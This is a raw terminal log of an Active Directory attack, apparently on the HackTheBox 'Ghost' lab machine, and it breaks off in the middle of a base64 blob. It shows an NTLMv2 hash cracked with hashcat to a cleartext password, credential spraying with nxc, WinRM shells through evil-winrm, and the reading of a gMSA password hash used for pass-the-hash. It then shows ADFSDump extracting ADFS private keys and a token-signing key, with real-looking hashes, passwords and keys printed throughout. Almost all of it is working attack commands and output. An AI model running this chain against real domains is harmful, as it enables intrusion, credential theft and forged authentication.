[HTTP] NTLMv2 Hash : justin.bradley::ghost:379fd6cc8a217192:57521556E3919754EBD8F3CEF7C53692:010100000000000055A059C39A79DB0196D7986191DE13BA00000000020008005400460043004E0001001E00570049004E002D004D004D004C00550059003000520039004F004E003500040014005400460043004E002E004C004F00430041004C0003003400570049004E002D004D004D004C00550059003000520039004F004E0035002E005400460043004E002E004C004F00430041004C00050014005400460043004E002E004C004F00430041004C00080030003000000000000000000000000040000076536FB96280E0573AB44A1AC8269946A2295E50D4C33E8D9D4B3161337ACEAC0A001000000000000000000000000000000000000900300048005400540050002F006200690074006200750063006B00650074002E00670068006F00730074002E006800740062000000000000000000❯ hashcat -a 0 hashes /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-sandybridge-11th Gen Intel(R) Core(TM) i5-1135G7 @ 2.40GHz, 2913/5891 MB (1024 MB allocatable), 8MCU
...[snip]...
JUSTIN.BRADLEY::ghost:379fd6cc8a217192:57521556e3919754ebd8f3cef7c53692:010100000000000055a059c39a79db0196d7986191de13ba00000000020008005400460043004e0001001e00570049004e002d004d004d004c00550059003000520039004f004e003500040014005400460043004e002e004c004f00430041004c0003003400570049004e002d004d004d004c00550059003000520039004f004e0035002e005400460043004e002e004c004f00430041004c00050014005400460043004e002e004c004f00430041004c00080030003000000000000000000000000040000076536fb96280e0573ab44a1ac8269946a2295e50d4c33e8d9d4b3161337aceac0a001000000000000000000000000000000000000900300048005400540050002f006200690074006200750063006b00650074002e00670068006f00730074002e006800740062000000000000000000:Qwertyuiop1234$$❯ nxc smb 10.10.11.24 -u 'justin.bradley' -p 'Qwertyuiop1234$$'
SMB 10.10.11.24 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.24 445 DC01 [+] ghost.htb\justin.bradley:Qwertyuiop1234$$
❯ nxc winrm 10.10.11.24 -u 'justin.bradley' -p 'Qwertyuiop1234$$'
WINRM 10.10.11.24 5985 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:ghost.htb)
WINRM 10.10.11.24 5985 DC01 [+] ghost.htb\justin.bradley:Qwertyuiop1234$$ (Pwn3d!)❯ evil-winrm -i 10.10.11.24 -u 'justin.bradley' -p 'Qwertyuiop1234$$'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\justin.bradley\Documents> type ../Desktop/user.txt
56ee926c00f*********************❯ powerview ghost.htb/'justin.bradley':'Qwertyuiop1234$$'@10.10.11.24 --dc-ip 10.10.11.24
Logging directory is set to /home/kali/.powerview/logs/ghost-justin.bradley-10.10.11.24
[2025-02-07 21:27:49] [Storage] Using cache directory: /home/kali/.powerview/storage/ldap_cache
(LDAPS)-[DC01.ghost.htb]-[GHOST\justin.bradley]
PV > Get-GMSA
ObjectDnsHostname : federation.ghost.htb
ObjectSAN : adfs_gmsa$
ObjectSID : S-1-5-21-4084500788-938703357-3654145966-4101
PrincipallAllowedToRead : GHOST\DC01$
GHOST\justin.bradley
GMSAPassword : 0bef79ae4d25b1864570212e33922d14❯ nxc smb 10.10.11.24 -u 'ADFS_GMSA$' -H '0bef79ae4d25b1864570212e33922d14'
SMB 10.10.11.24 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.24 445 DC01 [+] ghost.htb\ADFS_GMSA$:0bef79ae4d25b1864570212e33922d14❯ evil-winrm -i 10.10.11.24 -u 'ADFS_GMSA$' -H '0bef79ae4d25b1864570212e33922d14'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> ❯ ls -l LateralMovement
❯ git clone https://github.com/jakobfriedl/precompiled-binaries; cd precompiled-binaries/LateralMovement
Clonando en 'precompiled-binaries'...
remote: Enumerating objects: 242, done.
remote: Counting objects: 100% (41/41), done.
remote: Compressing objects: 100% (38/38), done.
remote: Total 242 (delta 18), reused 11 (delta 3), pack-reused 201 (from 1)
Recibiendo objetos: 100% (242/242), 8.53 MiB | 14.65 MiB/s, listo.
Resolviendo deltas: 100% (110/110), listo.
❯ ls -l
drwxrwxr-x kali kali 4.0 KB Fri Feb 7 21:49:08 2025 AzureAD
drwxrwxr-x kali kali 4.0 KB Fri Feb 7 21:49:08 2025 CertificateAbuse
drwxrwxr-x kali kali 4.0 KB Fri Feb 7 21:49:08 2025 GPOAbuse
.rw-rw-r-- kali kali 30 KB Fri Feb 7 21:49:08 2025 ADFSDump.exe
.rw-rw-r-- kali kali 4.5 KB Fri Feb 7 21:49:08 2025 ADModule.dll
.rw-rw-r-- kali kali 487 KB Fri Feb 7 21:49:08 2025 Rubeus.exe
.rw-rw-r-- kali kali 50 KB Fri Feb 7 21:49:08 2025 RunasCs.exe
.rw-rw-r-- kali kali 50 KB Fri Feb 7 21:49:08 2025 Sharpmad.exe
.rw-rw-r-- kali kali 40 KB Fri Feb 7 21:49:08 2025 SharpMove.exe
.rw-rw-r-- kali kali 323 KB Fri Feb 7 21:49:08 2025 SharpRDP.exe
.rw-rw-r-- kali kali 1.1 MB Fri Feb 7 21:49:08 2025 SharpSCCM.exe
.rw-rw-r-- kali kali 44 KB Fri Feb 7 21:49:08 2025 SharpSQL.exe
.rw-rw-r-- kali kali 222 KB Fri Feb 7 21:49:08 2025 SimpleBackdoorAdmin.dll
.rw-rw-r-- kali kali 290 KB Fri Feb 7 21:49:08 2025 SimpleBackdoorAdmin.exe
.rw-rw-r-- kali kali 154 KB Fri Feb 7 21:49:08 2025 SpoolSample.exe
.rw-rw-r-- kali kali 44 KB Fri Feb 7 21:49:08 2025 Whisker.exe*Evil-WinRM* PS C:\ProgramData> upload ADFSDump.exe
Info: Uploading /home/kali/Desktop/HackTheBox/Windows/AD/Ghost/content/ADFSDump.exe to C:\ProgramData\ADFSDump.exe
Data: 305048 bytes of 305048 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\ProgramData> ls
Directory: C:\ProgramData
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---s- 7/22/2024 9:55 AM Microsoft
d----- 7/22/2024 9:55 AM Package Cache
d----- 1/30/2024 7:09 PM Packages
d----- 1/30/2024 7:19 PM regid.1991-06.com.microsoft
d----- 5/8/2021 1:20 AM SoftwareDistribution
d----- 5/8/2021 2:36 AM ssh
d----- 1/30/2024 9:24 AM USOPrivate
d----- 5/8/2021 1:20 AM USOShared
d----- 1/30/2024 9:21 AM VMware
-a---- 2/7/2025 12:38 PM 228787 ADFSDump.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*Evil-WinRM* PS C:\ProgramData> .\ADFSDump.exe
___ ____ ___________ ____
/ | / __ \/ ____/ ___// __ \__ ______ ___ ____
/ /| | / / / / /_ \__ \/ / / / / / / __ `__ \/ __ \
/ ___ |/ /_/ / __/ ___/ / /_/ / /_/ / / / / / / /_/ /
/_/ |_/_____/_/ /____/_____/\__,_/_/ /_/ /_/ .___/
/_/
Created by @doughsec
## Extracting Private Key from Active Directory Store
[-] Domain is ghost.htb
[-] Private Key: FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7
[-] Private Key: 8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1
## Reading Encrypted Signing Key from Database
[-] Encrypted Token Signing Key Begin
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